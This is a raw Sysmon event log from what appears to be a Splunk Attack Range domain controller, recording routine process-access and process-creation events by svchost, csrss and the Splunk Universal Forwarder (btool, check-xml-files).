09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005311Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005310Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005309Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005308Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005307Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005306Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005305Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005304Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005303Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2952-5F80-2601-000000007F01}3532C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005302Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2952-5F80-2601-000000007F01}3532C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+edcb8|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+eef54|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ebd46|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005301Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.352{A5F018FF-2952-5F80-2601-000000007F01}3532C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005300Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.321{A5F018FF-2952-5F80-2501-000000007F01}4940916C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005299Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2952-5F80-2501-000000007F01}4940C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005298Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005297Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005296Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005295Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005294Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005293Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005292Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005291Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005290Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2952-5F80-2501-000000007F01}4940C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005289Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005288Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-2952-5F80-2401-000000007F01}45405076C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-2952-5F80-2501-000000007F01}4940C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005287Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.075{A5F018FF-2952-5F80-2501-000000007F01}4940C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-2952-5F80-2401-000000007F01}4540C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list general --no-log 10341000x80000000000000005286Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.071{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2952-5F80-2401-000000007F01}4540C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005285Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 